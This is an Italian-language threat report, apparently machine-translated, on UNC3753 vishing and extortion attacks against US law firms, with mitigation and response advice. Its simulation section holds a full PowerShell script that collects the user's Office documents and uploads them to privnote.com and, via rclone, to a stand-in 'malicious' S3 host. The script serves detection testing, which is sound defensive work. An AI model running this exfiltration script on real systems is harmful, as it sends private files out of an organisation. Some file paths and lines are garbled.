Alla Ricerca di Consulenza: Attacchi Mirati in Corso Contro Studi Legali negli Stati Uniti

Sommario

Un gruppo di minacce finanziariamente motivato, tracciato come UNC3753, sta conducendo campagne di vishing che ingannano le vittime facendole installare software di controllo e gestione remota. Una volta stabilito l’accesso, gli attori rubano informazioni legali e finanziarie sensibili e successivamente estorcono l’organizzazione vittima minacciando di esporle pubblicamente. La campagna è concentrata sulle aziende di servizi professionali degli Stati Uniti, in particolare degli studi legali, e potrebbe comportare il furto di dati sia informatici che fisici.

Indagine

Mandiant ha osservato il ciclo completo di intrusione, dalla chiamata iniziale di phishing vocale al furto di dati e all’estorsione, talvolta entro un solo giorno lavorativo. Le vittime sono state convinte a utilizzare strumenti di condivisione dello schermo e software RMM come AnyDesk, Bomgar, o un installer SuperOps personalizzato fornito con un comando curl. L’esfiltrazione dei dati è stata effettuata utilizzando strumenti come WinSCP, Rclone o caricamenti diretti su account di archiviazione cloud per consumatori.

Mitigazione

Le organizzazioni dovrebbero formare il personale a riconoscere i tentativi di vishing, imporre procedure di verifica rigorose per qualsiasi richiesta di supporto remoto e bloccare strumenti RMM e di condivisione dello schermo non autorizzati. Disabilitare i supporti rimovibili, monitorando trasferimenti insoliti verso destinazioni di archiviazione cloud o FTP, applicare controlli di accesso condizionali a VDI e imporre MFA su repository di documenti critici possono ridurre ulteriormente i rischi.

Risposta

Se questa attività viene rilevata, isolare immediatamente l’endpoint interessato, terminare qualsiasi sessione remota non autorizzata e rimuovere i binari RMM installati. Gli investigatori dovrebbero raccogliere la cronologia dei comandi, le modifiche al registro e i task programmati per la revisione forense. Le credenziali compromesse dovrebbero essere reimpostate, l’esfiltrazione dei dati dovrebbe essere valutata e l’intervento delle forze dell’ordine dovrebbe essere considerato se è iniziata un’estorsione.

Esecuzione della Simulazione

Prerequisito: Il Controllo Pre-volo di Telemetria e Baseline deve essere stato superato.

Motivazione: Questa sezione dettaglia l’esatta esecuzione della tecnica avversaria (TTP) progettata per attivare la regola di rilevamento. I comandi e il racconto DEVONO riflettere direttamente i TTP identificati e mirano a generare la telemetria esatta attesa dalla logica di rilevamento. Esempi astratti o non correlati porteranno a una diagnosi errata.

• Narrazione dell’Attacco e Comandi:

  1. Ricognizione e Preparazione Dati (T1005, T1083):
     L’avversario enumera le directory utente e copia tutti i *.docx and *.xlsx file in una cartella di staging C:TempStagedData.

  2. Caricamento via Privnote (T1567.002):
     Usando PowerShell, l’attaccante legge ogni file, codifica il contenuto in base-64 e lo pubblica su https://privnote.com/api/note. La riga di comando include l’URL, che soddisfa la condizione selection_privnote. Trasferimento con Rclone (T1020):

  3. Transfer with Rclone (T1020):
     L’attaccante esegue rclone.exe (scaricato al volo) per trasferire i file preparati a un bucket S3 maligno. Il nome del processo “rclone.exe” corrisponde a selection_tool.

  4. Pulizia: Eliminare la cartella di staging e qualsiasi residuo binario.

• Script di Test di Regressione: (PowerShell – autonomo, nessuna dipendenza esterna oltre Invoke-WebRequest.)

  # -------------------------------------------------
  # Simulazione Esfiltrazione UNC3753 – PowerShell
  # -------------------------------------------------
  # 1. Preparare la directory di staging
  $staging = "$env:USERPROFILETempStagedData"
  New-Item -ItemType Directory -Force -Path $staging | Out-Null
  
  # 2. Copiare i dati di esempio (simulare la raccolta dati)
  Get-ChildItem -Path "$env:USERPROFILEDocuments" -Include *.docx, *.xlsx -Recurse -ErrorAction SilentlyContinue |
      ForEach-Object { Copy-Item -Path $_.FullName -Destination $staging -Force }
  
  # 3. Caricare ogni file su Privnote (esfiltrazione del servizio web)
  $privnoteUrl = "https://privnote.com/api/note"
  Get-ChildItem -Path $staging -File | ForEach-Object {
      $content = [Convert]::ToBase64String([IO.File]::ReadAllBytes($_.FullName))
      $body = @{ text = $content }
      # L'URL appare nella linea di comando -> attiva selection_privnote
      Invoke-WebRequest -Uri $privnoteUrl -Method POST -Body $body -UseBasicParsing | Out-Null
  }
  
  # 4. Scaricare Rclone (se non presente) ed esfiltrare via S3
  $rcloneExe = "$env:TEMPrclone.exe"
  if (-not (Test-Path $rcloneExe)) {
      Invoke-WebRequest -Uri "https://downloads.rclone.org/rclone-current-windows-amd64.zip" -OutFile "$env:TEMPrclone.zip"
      Expand-Archive -Path "$env:TEMPrclone.zip" -DestinationPath $env:TEMP -Force
      Move-Item -Path (Get-ChildItem "$env:TEMPrclone-*-windows-amd64rclone.exe").FullName -Destination $rcloneExe -Force
  }
  
  # Configurare un remoto (maligno) bucket S3 – la configurazione è scritta su un file temporaneo
  $rcloneConfig = @"
  [malicious
  type = s3
  provider = AWS
  access_key_id = AKIAFAKEKEY
  secret_access_key = fakeSecretKey123
  region = us-east-1
  endpoint = https://malicious-s3.example.com
  "@
  $configPath = "$env:TEMPrclone.conf"
  $rcloneConfig | Set-Content -Path $configPath -Encoding ASCII
  
  # Esegui il comando rclone copy – il nome del processo "rclone.exe" attiva selection_tool
  & $rcloneExe copy $staging "malicious:exfil" --config $configPath --log-level INFO
  
  # 5. Pulizia
  Remove-Item -Recurse -Force $staging
  Remove-Item -Force $rcloneExe, $configPath

• Comandi di Pulizia:

  # Terminare eventuali processi WinSCP o Rclone in sospeso
  Get-Process -Name WinSCP, rclone -ErrorAction SilentlyContinue | Stop-Process -Force
  
  # Eliminare i file temporanei residui (se presenti)
  Remove-Item -Path "$env:TEMPWinSCP.exe","$env:TEMPWinSCP.zip","$env:TEMPrclone.zip","$env:TEMPrclone-*-windows-amd64" -Recurse -Force -ErrorAction SilentlyContinue

Fine del Rapporto